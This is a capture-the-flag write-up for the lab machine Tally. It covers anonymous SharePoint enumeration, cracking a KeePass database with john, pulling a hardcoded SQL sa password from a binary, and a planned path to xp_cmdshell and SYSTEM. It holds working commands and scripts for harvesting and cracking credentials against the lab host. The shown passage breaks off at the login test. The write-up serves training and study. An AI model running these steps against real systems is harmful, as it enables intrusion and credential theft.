HTB: Tally
An anonymous SharePoint document leads to FTP, a weak KeePass master password to a finance share, a hardcoded sa password in a test binary to xp_cmdshell, and SeImpersonate on the SQL service account to SYSTEM.
- Published
- Reading time
- 25 min
- Difficulty
- hard
- Target
- Windows (Tally)
htbwindowssharepointkeepassmssqlxp-cmdshellseimpersonateprintspoofer
Overview
Tally is a hard-rated Windows Server 2016 machine playing a finance company mid-migration. It exposes SharePoint, FTP, SMB, SQL Server and WinRM, and needs no memory corruption exploit. The chain is four passwords long, and each one is stored somewhere the previous one can read:
- A SharePoint document library, readable without logging in, holds the FTP password; a wiki page beside it names the account.
- The FTP tree holds a KeePass database whose master password is in rockyou.
- The database holds the password of a finance SMB share.
- The share holds a test binary with the SQL Server
sapassword compiled in. saenablesxp_cmdshell, which runs as the SQL service account, a local user called Sarah. Her SeImpersonatePrivilege and the print spooler give SYSTEM.
I had read write-ups of this box years ago; steps that leaned on recall or
on knowing the product are marked where they happen. My laptop accepts no inbound connection
from the lab, so there is no reverse shell: SQL Server is the shell and FTP is
the upload channel. No password was printed to my terminal either: each went
from the file it was found in to a mode 0600 file that the tools read. Where a
block shows <masked> or a length, that is the real output.
Every command ran through a wrapper that saves the command and tees the
output. Its last line, [lr exit N], and trailing spaces are removed from the
blocks below. bin/kali tally "..." runs a tool in a container where /work
is the machine directory.
Reconnaissance
A full TCP sweep first:
cd ../..; bin/kali tally "nmap -Pn -p- --min-rate 2000 -oN /work/scans/01-full.nmap 10.129.1.183" | grep -E "open|done"
21/tcp open ftp
80/tcp open http
81/tcp open hosts2-ns
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
808/tcp open ccproxy-http
1433/tcp open ms-sql-s
5985/tcp open wsman
15567/tcp open unknown
32843/tcp open unknown
32844/tcp open unknown
32846/tcp open unknown
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 50.78 seconds
Then default scripts and version detection on the top 1000 ports
(nmap -Pn -sC -sV). This table is my summary of that output:
| Port | Service | Version | Notes |
|---|---|---|---|
| 21 | FTP | Microsoft ftpd | Anonymous login refused |
| 80 | HTTP | IIS 10.0 | Redirects into SharePoint _layouts/15 |
| 81 | HTTP | Microsoft HTTPAPI 2.0 | 400 Bad Request |
| 445 | SMB | Windows Server 2016 build 14393 | Build from NTLM info on 80 and 1433 |
| 808 | ? | no banner | Not identified |
| 1433 | MSSQL | SQL Server 2016 RTM 13.00.1601.00 | No post-RTM patches |
| 5985 | WinRM | Microsoft HTTPAPI 2.0 |
The anonymous checks ran in one call. FTP and SMB refuse, and the front page identifies itself:
grep -E "open|filtered" scans/01-full.nmap; echo "### ftp anonymous"; curl -s -m 25 --user anonymous:a@b.c ftp://10.129.1.183/ 2>&1 | head -5; echo "ftp exit $?"; echo "### smb null and guest"; cd ../..; bin/kali tally "smbclient -N -L //10.129.1.183 2>&1 | head -8; smbclient -U guest% -L //10.129.1.183 2>&1 | head -5"; echo "### http root"; curl -s -m 25 -i http://10.129.1.183/ | head -20; echo "### 81 and 808"; curl -s -m 15 -i http://10.129.1.183:81/ | head -8; curl -s -m 15 -i http://10.129.1.183:808/ | head -5; echo "808 exit $?"
[...]
### ftp anonymous
ftp exit 0
### smb null and guest
session setup failed: NT_STATUS_ACCESS_DENIED
session setup failed: NT_STATUS_ACCOUNT_DISABLED
[...]
HTTP/1.1 302 Redirect
Content-Type: text/html; charset=UTF-8
Location: http://10.129.1.183/default.aspx
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
SPRequestGuid: 760452a2-dce3-f075-0000-061878cb1756
request-id: 760452a2-dce3-f075-0000-061878cb1756
X-FRAME-OPTIONS: SAMEORIGIN
SPRequestDuration: 335
SPIisLatency: 4
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 15.0.0.4420
[...]
The anonymous FTP attempt prints nothing, which proves little: ftp exit 0
is the exit status of head, and nmap’s script scan reported no anonymous
login. MicrosoftSharePointTeamServices: 15.0.0.4420 is SharePoint 2013.
SharePoint enumeration
SharePoint has hundreds of fixed paths and a front page that links to almost
none of them, so a product wordlist does the work. My first run named the file
sharepoint.txt; the list is Sharepoint.txt, and the scan failed in
seconds. The second:
cd ../..; bin/kali tally "wc -l /usr/share/seclists/Discovery/Web-Content/CMS/Sharepoint.txt; ffuf -s -t 20 -timeout 20 -u http://10.129.1.183/FUZZ -w /usr/share/seclists/Discovery/Web-Content/CMS/Sharepoint.txt -mc 200,301,302,401,403 -o /work/scans/05-spfuzz.csv -of csv > /dev/null 2>&1; wc -l /work/scans/05-spfuzz.csv"
1706 /usr/share/seclists/Discovery/Web-Content/CMS/Sharepoint.txt
557 /work/scans/05-spfuzz.csv
556 of 1,706 paths answer with one of the matched codes. I did not wait for
that result. /_layouts/15/viewlsts.aspx is the Site Contents page of any
SharePoint 2013 site, and I requested it directly, from knowing the product,
four minutes before the scan finished. The grep on the scan file in the same
command fails for that reason, and the finished scan lists only the
unversioned _layouts/viewlsts.aspx, at 302.
echo "### wordlist hits so far"; cut -d, -f1,5,6 scans/05-spfuzz.csv 2>/dev/null | grep -v ",40[13]," | head -40; grep -c . scans/05-spfuzz.csv; echo "### site contents"; curl -s -m 60 -o loot/viewlsts.html -w "%{http_code} %{size_download}\n" http://10.129.1.183/_layouts/15/viewlsts.aspx; grep -oE "href=\"/[^\"]+\"[^>]*>[^<]{2,60}<" loot/viewlsts.html | grep -v "_layouts/15/[a-z]*\.\(css\|js\)" | sort -u | head -40; grep -oE "[0-9]+ items?|Modified[^<]{0,40}" loot/viewlsts.html | head -20
### wordlist hits so far
grep: scans/05-spfuzz.csv: No such file or directory
### site contents
200 46492
1 item
Modified 9 years ago
0 items
Modified 9 years ago
1 item
Modified 9 years ago
0 items
Modified 9 years ago
A 200 without credentials, and two lists with one item each. The list names from the saved page:
sed -e "s/<script[^>]*>[^<]*<\/script>//g" loot/viewlsts.html | grep -oE "(href=\"[^\"]*(Lists|Forms|Shared|Pages|SitePages|Documents)[^\"]*\"|[0-9]+ items?|ms-vl-apptitle[^>]*>[^<]*<[^>]*>[^<]*|title=\"[^\"]{3,40}\")" | sort -u | head -50
0 items
1 item
href="/Shared Documents/Forms/AllItems.aspx"
href="/SiteAssets/Forms/AllItems.aspx"
href="/SitePages"
href="/Style Library/Forms/AllItems.aspx"
title="Click for more information."
title="Documents"
title="Focus on Content"
title="Help"
title="Home"
title="Search"
title="Search this site"
title="Site Assets"
title="Site Pages"
title="Style Library"
I fetched the library views to loot/:
for u in "Shared%20Documents/Forms/AllItems.aspx" "SitePages" "SitePages/Forms/AllPages.aspx" "SiteAssets/Forms/AllItems.aspx"; do f=loot/$(echo $u | tr "/%" "__").html; curl -s -m 60 -L -o $f -w "### $u -> %{http_code} %{size_download} %{url_effective}\n" "http://10.129.1.183/$u"; grep -oE "href=\"/[^\"]+\.(docx?|xlsx?|aspx|txt|pdf|zip|kdbx)\"" $f | grep -v "_layouts\|Forms/" | sort -u | head; done
### Shared%20Documents/Forms/AllItems.aspx -> 200 60308 http://10.129.1.183/Shared%20Documents/Forms/AllItems.aspx
href="/_vti_bin/spdisco.aspx"
### SitePages -> 200 59710 http://10.129.1.183/SitePages/Forms/AllPages.aspx
href="/_vti_bin/spdisco.aspx"
### SitePages/Forms/AllPages.aspx -> 200 59710 http://10.129.1.183/SitePages/Forms/AllPages.aspx
href="/_vti_bin/spdisco.aspx"
### SiteAssets/Forms/AllItems.aspx -> 200 59233 http://10.129.1.183/SiteAssets/Forms/AllItems.aspx
href="/_vti_bin/spdisco.aspx"
No anchor tag carries a file name: the views render their rows from JSON
embedded in the page, and the names are in the FileRef fields:
for f in loot/Shared_20Documents_Forms_AllItems.aspx.html loot/SitePages_Forms_AllPages.aspx.html loot/SiteAssets_Forms_AllItems.aspx.html; do echo "### $f"; grep -oE "\"(FileRef|FileLeafRef|Editor|Modified|File_x0020_Size)\": ?\"[^\"]*\"" $f | sort -u | head -12; grep -oE "\"title\":\"[^\"]*\"" $f | sort -u | head -4; done
### loot/Shared_20Documents_Forms_AllItems.aspx.html
"FileLeafRef": "ftp-details.docx"
"FileRef": "\u002fShared Documents\u002fftp-details.docx"
"Modified": "10\u002f15\u002f2017 11:39 PM"
"title":"0#.w|tally\\administrator"
### loot/SitePages_Forms_AllPages.aspx.html
"FileLeafRef": "FinanceTeam.aspx"
"FileRef": "\u002fSitePages\u002fFinanceTeam.aspx"
"Modified": "9\u002f20\u002f2017 11:39 PM"
"title":"0#.w|tally\\administrator"
### loot/SiteAssets_Forms_AllItems.aspx.html
Attack Surface Analysis
Anonymous read on SharePoint lists (CWE-284)
The anonymous user can read the list views and the documents in them.
viewlsts.aspx enumerates every list the caller may see.
Credentials in documents and pages (CWE-312, CWE-522)
ftp-details.docx contains a password in clear text. FinanceTeam.aspx names
the account that goes with it. Neither is a secret store.
FTP home directories shared by one account (CWE-732)
A single ftp_user account reads every user’s folder, including a password
database.
Weak KeePass master password (CWE-521)
A KeePass file is as strong as its master password. This one is in rockyou.
Hardcoded database credentials in a binary (CWE-798)
tester.exe on the finance share carries an ODBC connection string for sa.
sa for an application, and a user account for the service (CWE-250)
The application login is sysadmin, so xp_cmdshell is one sp_configure
away, and the service runs as a named local user whose processes hold
SeImpersonatePrivilege.
Vulnerability Analysis
None of these is a bug in code. They are decisions about where to keep a password, each made as if the store before it could not be reached.
Anonymous access in SharePoint is granted per site, and once granted the list
views are readable; hiding the navigation does nothing to
/_layouts/15/viewlsts.aspx. I did not read the site’s permission settings,
so which option was chosen is not established. The observable is a 200 with
list data and no Authorization header.
The KeePass step is offline: once keepass2john has the header, a guess
costs CPU only and no lockout applies.
The sa password in tester.exe is an ODBC string that strings reads in
a second. conn-info.txt, in an archive directory of the same share, says the
password had been changed, and the old one does fail. The share listing dates
the binary 1 September and the note 17 September, so the current password was
already in tester.exe when the note was written.
The last step is a property of Windows: a process with SeImpersonatePrivilege may act as any client that authenticates to it, and PrintSpoofer has the spooler, a SYSTEM service, connect to a pipe it owns.
Exploitation
Phase 1: SharePoint to FTP
Both files come down in one call. The document text goes to a 0600 file, and
the screen copy passes through a sed that masks any token of password shape (the label in the output says 12 or more
characters; the expression has no length test):
mkdir -p loot/docx; curl -s -m 60 -o loot/docx/ftp-details.docx -w "docx %{http_code} %{size_download}\n" "http://10.129.1.183/Shared%20Documents/ftp-details.docx"; file loot/docx/ftp-details.docx | cut -c1-100; unzip -p loot/docx/ftp-details.docx word/document.xml | sed -e "s/<\/w:p>/\n/g" -e "s/<[^>]*>//g" > loot/ftp-details.txt; chmod 600 loot/ftp-details.txt; echo "### ftp-details.docx text, any token of 12 or more characters with a digit and a symbol masked"; sed -E "s/[^ ]*[0-9][^ ]*[^A-Za-z0-9 .:][^ ]*|[^ ]*[^A-Za-z0-9 .:\/-][^ ]*[0-9][^ ]*/<masked>/g" loot/ftp-details.txt | grep -v "^ *$"; echo "### FinanceTeam.aspx"; curl -s -m 60 -o loot/FinanceTeam.html -w "%{http_code} %{size_download}\n" http://10.129.1.183/SitePages/FinanceTeam.aspx; grep -oE "<div id=\"ctl00_PlaceHolderMain_WikiField\".*" loot/FinanceTeam.html | sed -e "s/<[^>]*>/ /g" | tr -s " " | cut -c1-900
docx 200 10990
loot/docx/ftp-details.docx: Microsoft Word 2007+
### ftp-details.docx text, any token of 12 or more characters with a digit and a symbol masked
FTP details
hostname: tally
workgroup: htb.local
password: <masked>
Please create your own user folder upon logging in
### FinanceTeam.aspx
200 50462
The wiki extraction at the end of that command printed nothing, because the
div and its text are on different lines. Reading the 25 lines after the
marker instead:
n=$(grep -n "WikiField" loot/FinanceTeam.html | head -1 | cut -d: -f1); sed -n "$n,$((n+25))p" loot/FinanceTeam.html | sed -e "s/<[^>]*>/ /g" -e "s/ / /g" | tr -s " \t\r" " " | grep -v "^ *$" | cut -c1-400
Migration update Hi all, Welcome to your new team page! As always, there's still a few finishing touches to make. Rahul - please upload the design mock ups to the Intranet folder as 'index.html' using the ftp_user account - I aim to review regularly. We'll also add the fund and client account pages in due course. Thanks – Sarah & Tim. false,false,1
The account is ftp_user. The page also says someone reviews
Intranet/index.html regularly, which I come back to under Post-Exploitation.
The password moves from the text file into a curl config file unseen, and
a wrong password goes first as the control. Recall was used here: I typed the
five directory names in the loop before the top-level listing had printed.
umask 077; python3 -I -c "
import re
p=[l.split(\":\",1)[1].strip() for l in open(\"loot/ftp-details.txt\") if l.startswith(\"password:\")][0]
print(\"password length\", len(p))
open(\"loot/ftp.curl\",\"w\").write(\"user = \\\"ftp_user:%s\\\"\\n\" % p.replace(\"\\\\\",\"\\\\\\\\\").replace(\"\\\"\",\"\\\\\\\"\"))
"; echo "### control: wrong password"; curl -s -S -m 30 --user ftp_user:wrongpass1 ftp://10.129.1.183/ 2>&1 | head -3; echo "### ftp_user with the document password"; curl -s -S -m 30 -K loot/ftp.curl ftp://10.129.1.183/ 2>&1 | head -20; for d in From-Custodian Intranet Logs To-Upload User; do echo "### $d"; curl -s -S -m 30 -K loot/ftp.curl "ftp://10.129.1.183/$d/" 2>&1 | head -30; done
password length 16
### control: wrong password
curl: (67) Access denied: 530
### ftp_user with the document password
08-31-17 10:51PM <DIR> From-Custodian
10-01-17 10:37PM <DIR> Intranet
08-28-17 05:56PM <DIR> Logs
09-15-17 08:30PM <DIR> To-Upload
09-17-17 08:27PM <DIR> User
[...]
### To-Upload
08-28-17 09:07PM 10292 employees-id_number.xlsx
09-11-17 08:56PM 22606 Invoices.zip
[...]
A short script walks the two directories that hold subdirectories:
#!/bin/bash
# recursive FTP listing from the given start directories (depth-first, directories from the DOS-style listing)
walk() {
curl -s -S -m 30 -K loot/ftp.curl "ftp://10.129.1.183/$1/" 2>&1 | while IFS= read -r l; do
n=$(printf '%s' "$l" | tr -d '\r' | cut -c40-)
if printf '%s' "$l" | grep -q '<DIR>'; then echo "D $1/$n"; walk "$1/$n"; else echo "F $1/$n $(printf '%s' "$l" | cut -c18-38 | tr -d ' ')"; fi
done
}
for d in "$@"; do walk "$d"; done
artifacts/15-ftptree.sh Intranet User | tee loot/ftptree.txt | head -80
D Intranet/Binaries
F Intranet/Binaries/Firefox Setup 44.0.2.exe 43046456
D User/Administrator
D User/Administrator/New folder
F User/Administrator/New folder/ to a URL function ected:Malformedinpu
D User/Ekta
F User/Ekta/OFSI_quick_guide_flyer.pdf 549907
F User/Ekta/PSAIS_1_April_2017.pdf 434213
D User/Jess
F User/Jess/actu8-espreadsheet-designer-datasheet.pdf 825348
D User/Paul
F User/Paul/financial-list-guide.pdf 145015
F User/Paul/financial_sanctions_guidance_august_2017.pdf 5329670
F User/Paul/Monetary_penalties_for_breaches_of_financial_sanctions.pdf 385627
D User/Paul/New folder
F User/Paul/New folder/ to a URL function ected:Malformedinpu
D User/Rahul
D User/Rahul/Mockups-Backup
D User/Sarah
F User/Sarah/MBSASetup-x64-EN.msi 1818624
F User/Sarah/notes.txt 89
F User/Sarah/Windows-KB890830-x64-V5.52.exe 44592848
D User/Stuart
F User/Stuart/customers - Copy.csv 16213
F User/Stuart/Unit4-Connect-Financials-Agenda.pdf 74456
D User/Tim
D User/Tim/Files
F User/Tim/Files/bonus.txt 17
D User/Tim/Files/KeePass-2.36
F User/Tim/Files/KeePass-2.36/KeePass.chm 729956
F User/Tim/Files/KeePass-2.36/KeePass.exe 3191728
F User/Tim/Files/KeePass-2.36/KeePass.exe.config 721
F User/Tim/Files/KeePass-2.36/KeePass.XmlSerializers.dll 409072
F User/Tim/Files/KeePass-2.36/KeePassLibC32.dll 562624
F User/Tim/Files/KeePass-2.36/KeePassLibC64.dll 729024
F User/Tim/Files/KeePass-2.36/License.txt 18710
D User/Tim/Files/KeePass-2.36/Plugins
F User/Tim/Files/KeePass-2.36/ShInstUtil.exe 92088
D User/Tim/Files/KeePass-2.36/XSL
F User/Tim/Files/KeePass-2.36/XSL/KDBX_Common.xsl 3445
F User/Tim/Files/KeePass-2.36/XSL/KDBX_DetailsFull_HTML.xsl 3556
F User/Tim/Files/KeePass-2.36/XSL/KDBX_DetailsLight_HTML.xsl 3098
F User/Tim/Files/KeePass-2.36/XSL/KDBX_PasswordsOnly_TXT.xsl 919
F User/Tim/Files/KeePass-2.36/XSL/KDBX_Tabular_HTML.xsl 3215
F User/Tim/Files/tim.kdbx 2222
D User/Tim/Project
D User/Tim/Project/Communications
D User/Tim/Project/Log
F User/Tim/Project/Log/do to.txt 114
D User/Tim/Project/Vendors
D User/Yenwi
D User/Yenwi/Archive
The two New folder rows are curl error text: the script does not
URL-encode the space. User/Tim is the interesting one: a portable KeePass
and tim.kdbx.
Phase 2: KeePass to the finance share
mkdir -p loot/ftp && cd loot/ftp && for f in "User/Sarah/notes.txt" "User/Tim/Files/bonus.txt" "User/Tim/Files/tim.kdbx" "User/Tim/Project/Log/do to.txt" "To-Upload/employees-id_number.xlsx" "To-Upload/Invoices.zip" "From-Custodian/RED-5281341.log" "Logs/ftp_connect_823577149051.txt"; do o=$(printf "%s" "$f" | tr "/ " "__"); curl -s -S -m 60 -K ../ftp.curl -o "$o" "ftp://10.129.1.183/$(printf "%s" "$f" | sed "s/ /%20/g")" ; echo "$f -> loot/ftp/$o rc=$? $(stat -c %s "$o" 2>/dev/null) bytes"; done; for t in User_Sarah_notes.txt User_Tim_Files_bonus.txt User_Tim_Project_Log_do_to.txt From-Custodian_RED-5281341.log Logs_ftp_connect_823577149051.txt; do echo "### $t"; cat "$t"; echo; done; echo "### file types"; file User_Tim_Files_tim.kdbx To-Upload_*
User/Sarah/notes.txt -> loot/ftp/User_Sarah_notes.txt rc=0 89 bytes
User/Tim/Files/bonus.txt -> loot/ftp/User_Tim_Files_bonus.txt rc=0 17 bytes
User/Tim/Files/tim.kdbx -> loot/ftp/User_Tim_Files_tim.kdbx rc=0 2222 bytes
User/Tim/Project/Log/do to.txt -> loot/ftp/User_Tim_Project_Log_do_to.txt rc=0 114 bytes
To-Upload/employees-id_number.xlsx -> loot/ftp/To-Upload_employees-id_number.xlsx rc=0 10292 bytes
To-Upload/Invoices.zip -> loot/ftp/To-Upload_Invoices.zip rc=0 22606 bytes
From-Custodian/RED-5281341.log -> loot/ftp/From-Custodian_RED-5281341.log rc=0 93 bytes
Logs/ftp_connect_823577149051.txt -> loot/ftp/Logs_ftp_connect_823577149051.txt rc=0 28 bytes
### User_Sarah_notes.txt
done
install Sharepoint, replace Orchard CMS
to do
uninstall SQL Server 2016
### User_Tim_Files_bonus.txt
2016 500
2017
### User_Tim_Project_Log_do_to.txt
To do:
Remove migration folder
Set secure share permissions
encrypted share creds:
password in keepass
### From-Custodian_RED-5281341.log
Thu 08/31/2017 Redemption received. Fund ID 2465124. Reference 21178-Thu 08/31/2017-528134
### Logs_ftp_connect_823577149051.txt
connection from 127.0.0.1
### file types
User_Tim_Files_tim.kdbx: Keepass password database 2.x KDBX
To-Upload_employees-id_number.xlsx: Microsoft Excel 2007+
To-Upload_Invoices.zip: Zip archive data, made by v2.0, extract using at least v2.0, last modified Aug 28 2017 22:18:20, uncompressed size 42, method=store
Tim’s note states the next two steps: a share, and its password in KeePass. Sarah’s says SQL Server 2016 was meant to be uninstalled.
john runs with its output sent to a file and its pot file kept out of the
terminal. The only thing printed is how many hashes cracked:
cd ../..; bin/kali tally "umask 077; keepass2john /work/loot/ftp/User_Tim_Files_tim.kdbx > /work/loot/tim.kdbx.hash; echo hash file bytes: \$(stat -c %s /work/loot/tim.kdbx.hash); [ -f /usr/share/wordlists/rockyou.txt ] || gunzip -k /usr/share/wordlists/rockyou.txt.gz; john --pot=/work/loot/john.pot --wordlist=/usr/share/wordlists/rockyou.txt /work/loot/tim.kdbx.hash > /work/loot/john.log 2>&1; echo john exit \$?; grep -c . /work/loot/john.pot"
hash file bytes: 331
john exit 0
1
To read the database without showing its contents I wrote a script that prints entry metadata and writes each password to its own file:
# list KeePass entries without printing passwords; writes each password to loot/kp/<title>.pw (0600)
import os, sys, re
from pykeepass import PyKeePass
pot = open("/work/loot/john.pot").read().strip().split(":", 1)[1]
print("master password length", len(pot))
kp = PyKeePass("/work/loot/ftp/User_Tim_Files_tim.kdbx", password=pot)
os.makedirs("/work/loot/kp", mode=0o700, exist_ok=True)
for e in kp.entries:
name = re.sub(r"[^A-Za-z0-9_-]", "_", e.title or "untitled")
fd = os.open("/work/loot/kp/%s.pw" % name, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
os.write(fd, (e.password or "").encode()); os.close(fd)
print("group=%s | title=%s | user=%s | url=%s | notes=%s | password length %d -> loot/kp/%s.pw" % (
"/".join(e.group.path) if e.group.path else "(root)", e.title, e.username, e.url, (e.notes or "").replace("\n", " / "), len(e.password or ""), name))
The container had no KeePass library, so the first run failed on the import.
The second installs pykeepass inside the throwaway container:
cd ../..; bin/kali tally "umask 077; pip install -q --break-system-packages pykeepass 2>&1 | tail -2; python3 /work/artifacts/18-kdbxlist.py"
[...]
master password length 13
group=WORK/WINDOWS/Shares | title=TALLY ACCT share | user=Finance | url=None | notes= | password length 10 -> loot/kp/TALLY_ACCT_share.pw
group=WORK/CISCO | title=Default | user=cisco | url=None | notes= | password length 8 -> loot/kp/Default.pw
group=WORK/SOFTWARE | title=PDF Writer | user=64257-56525-54257-54734 | url=None | notes= | password length 0 -> loot/kp/PDF_Writer.pw
A 13-character master password that is still in rockyou, and an entry titled
TALLY ACCT share for the user Finance. SMB with an authentication file,
wrong password first:
cd ../..; bin/kali tally "umask 077; printf \"username = Finance\npassword = %s\n\" \"\$(cat /work/loot/kp/TALLY_ACCT_share.pw)\" > /work/loot/finance.smbauth; echo \"### control: Finance with a wrong password\"; smbclient -U Finance%wrongpass1 -L //10.129.1.183 2>&1 | head -3; echo \"### Finance with the KeePass password: shares\"; smbclient -A /work/loot/finance.smbauth -L //10.129.1.183 2>&1 | head -15; echo \"### ACCT top level\"; smbclient -A /work/loot/finance.smbauth //10.129.1.183/ACCT -c \"ls\" 2>&1 | head -40"
### control: Finance with a wrong password
session setup failed: NT_STATUS_LOGON_FAILURE
### Finance with the KeePass password: shares
do_connect: Connection to 10.129.1.183 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Sharename Type Comment
--------- ---- -------
ACCT Disk
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available
### ACCT top level
. D 0 Mon Sep 18 05:58:18 2017
.. D 0 Mon Sep 18 05:58:18 2017
Customers D 0 Sun Sep 17 20:28:40 2017
Fees D 0 Mon Aug 28 21:20:52 2017
Invoices D 0 Mon Aug 28 21:18:19 2017
Jess D 0 Sun Sep 17 20:41:29 2017
Payroll D 0 Mon Aug 28 21:13:32 2017
Reports D 0 Fri Sep 1 20:50:11 2017
Tax D 0 Sun Sep 17 20:45:47 2017
Transactions D 0 Wed Sep 13 19:57:44 2017
zz_Archived D 0 Fri Sep 15 20:29:35 2017
zz_Migration D 0 Sun Sep 17 20:49:13 2017
8387839 blocks of size 4096. 708645 blocks available
Phase 3: the share to sa
A recursive listing of ACCT, written to a file:
cd ../..; bin/kali tally "smbclient -A /work/loot/finance.smbauth //10.129.1.183/ACCT -c \"recurse; ls\" > /work/scans/21-acct-tree.txt 2>&1; echo lines: \$(wc -l < /work/scans/21-acct-tree.txt); echo \"### directories\"; grep \"^\\\\\\\\\" /work/scans/21-acct-tree.txt | head -150; echo \"### files that are not pdf/xlsx/csv/docx/zip/msi/dll/chm/xml/html/png/jpg/gif/js/css\"; awk \"/^\\\\\\\\/{d=\\\$0} / [AN]+ +[0-9]+ /{print d \\\" :: \\\" \\\$0}\" /work/scans/21-acct-tree.txt | grep -v -i -E \"\\.(pdf|xlsx?|csv|docx?|zip|msi|dll|chm|xml|html?|png|jpg|gif|js|css|cab|mui|hxs|rll|sql|cer|h|xsd|xsl|rtf|ico|bmp|cat|inf|manifest|dat|mof|nls|resx|aspx|config) \" | head -80"
It was the one real time sink: zz_Migration\Backup holds a full Orchard CMS
tree, and the listing was still running ten minutes later when I stopped the
box, so its summary never printed. I looked at the growing file with a
one-liner that grouped directory names by their first three levels. That
command ran outside the logging wrapper and its output was not saved; it is in
the log as a correction. The eight directories below were picked from it (a
first attempt with awk -v ate the backslashes; this one uses ENVIRON):
for d in "\\zz_Archived\\SQL" "\\zz_Archived\\2016 Audit" "\\zz_Migration\\Binaries" "\\zz_Migration\\Binaries\\New folder" "\\zz_Migration\\Binaries\\CardReader" "\\zz_Migration\\Binaries\\Evals" "\\Jess" "\\zz_Migration\\Integration"; do echo "### $d"; D="$d" awk "\$0==ENVIRON[\"D\"]{f=1;next} /^\\\\/{f=0} f&&NF" scans/21-acct-tree.txt | grep -v -E "^ \.\.? " | head -25; done; echo "### listing lines so far: $(wc -l < scans/21-acct-tree.txt)"
### \zz_Archived\SQL
conn-info.txt A 77 Sun Sep 17 20:26:56 2017
[...]
### \zz_Migration\Binaries
CardReader D 0 Mon Aug 28 20:06:22 2017
Evals D 0 Sun Sep 17 20:20:33 2017
FileZilla_Server-0_9_60_2.exe A 2241216 Thu Aug 31 22:38:27 2017
ImportGSTIN.zip A 74110 Fri Sep 15 19:49:20 2017
NDP452-KB2901907-x86-x64-AllOS-ENU.exe A 69999448 Sun Aug 27 22:01:51 2017
New folder D 0 Thu Sep 21 06:21:09 2017
Sage50_2017.2.0.exe A 401347664 Sun Aug 27 22:57:33 2017
Tally.ERP 9 Release 6 D 0 Wed Sep 13 20:00:38 2017
windirstat1_1_2_setup.exe A 645729 Fri Sep 15 19:50:24 2017
### \zz_Migration\Binaries\New folder
crystal_reports_viewer_2016_sp04_51051980.zip A 389188014 Wed Sep 13 19:56:38 2017
Macabacus2016.exe A 18159024 Mon Sep 11 21:20:05 2017
Orchard.Web.1.7.3.zip A 21906356 Tue Aug 29 23:27:42 2017
putty.exe A 774200 Sun Sep 17 20:19:26 2017
RpprtSetup.exe A 483824 Fri Sep 15 19:49:46 2017
tableau-desktop-32bit-10-3-2.exe A 254599112 Mon Sep 11 21:13:14 2017
tester.exe A 215552 Fri Sep 1 11:15:54 2017
vcredist_x64.exe A 7194312 Wed Sep 13 20:06:28 2017
[...]
conn-info.txt in a directory called SQL reads itself. In New folder,
seven files are vendor installers or archives with recognisable names, and one
is tester.exe, 215 KB, with a name no vendor ships. That is somebody’s
own build.
The masking filter, which replaces a password value with its length and saves it:
# print text with the value after pass:/password:/PWD= replaced by its length; save each value to the given 0600 file prefix
import re, sys, os
prefix = sys.argv[1]; n = 0
def sub(m):
global n
n += 1
path = "%s.%d.pw" % (prefix, n)
fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600); os.write(fd, m.group(2).encode()); os.close(fd)
return "%s<%d chars -> %s>" % (m.group(1), len(m.group(2)), path.replace("/work/", ""))
for line in sys.stdin:
print(re.sub(r"(?i)(pass(?:word)?\s*[:=]\s*|PWD=)([^;\s]+)", sub, line.rstrip("\r\n")))
cd ../..; bin/kali tally "umask 077; mkdir -p /work/loot/acct && cd /work/loot/acct && smbclient -A /work/loot/finance.smbauth //10.129.1.183/ACCT -c \"get zz_Archived\\\\SQL\\\\conn-info.txt conn-info.txt; get \\\"zz_Migration\\\\Binaries\\\\New folder\\\\tester.exe\\\" tester.exe\" 2>&1 | tail -3; ls -l; file tester.exe; sha256sum tester.exe; echo \"### conn-info.txt (password masked)\"; python3 /work/artifacts/24-mask.py /work/loot/acct/conninfo < conn-info.txt; echo \"### tester.exe: strings mentioning a server, database, user or password (password masked)\"; strings -n 6 tester.exe | grep -i -E \"server|database|uid=|pwd=|password|select |driver\" | python3 /work/artifacts/24-mask.py /work/loot/acct/tester | head -30"
getting file \zz_Archived\SQL\conn-info.txt of size 77 as conn-info.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
getting file \zz_Migration\Binaries\New folder\tester.exe of size 215552 as tester.exe (91.6 KiloBytes/sec) (average 62.1 KiloBytes/sec)
total 216
-rw------- 1 root root 77 Nov 24 17:35 conn-info.txt
-rw------- 1 root root 215552 Nov 24 17:35 tester.exe
tester.exe: PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections
a83491a66f0db07351b8fad1b2029c8b4aed67d9a71c5e95102ec0fd39759c65 tester.exe
### conn-info.txt (password masked)
old server details
db: sa
pass: <15 chars -> loot/acct/conninfo.1.pw>
have changed for tally
### tester.exe: strings mentioning a server, database, user or password (password masked)
DRIVER={SQL Server};SERVER=TALLY, 1433;DATABASE=orcharddb;UID=sa;PWD=<22 chars -> loot/acct/tester.1.pw>;
select * from Orchard_Users_UserPartRecord
Two candidate sa passwords. My first SQL client took statements as
arguments; this one reads them from a file, because T-SQL literals need single
quotes and two layers of shell quoting had left none:
# run SQL statements on the target as a SQL login; the password is read from a file, never from argv
# usage: 26-sql.py <host> <user> <password file> <file of statements, one per line>
import sys
from impacket import tds
host, user, pwfile = sys.argv[1:4]
pw = open(pwfile).read()
ms = tds.MSSQL(host, 1433)
ms.connect()
ok = ms.login(None, user, pw, None, None, False)
print("login as %s: %s" % (user, "ok" if ok else "FAILED"))
if not ok:
ms.printReplies(); sys.exit(1)
for q in [l.strip() for l in open(sys.argv[4]) if l.strip()]:
print("SQL> " + q)
ms.sql_query(q)
ms.printReplies()
ms.printRows()
ms.disconnect()
The login test used the argument version with select 1 and select @@version. The old password is the control:
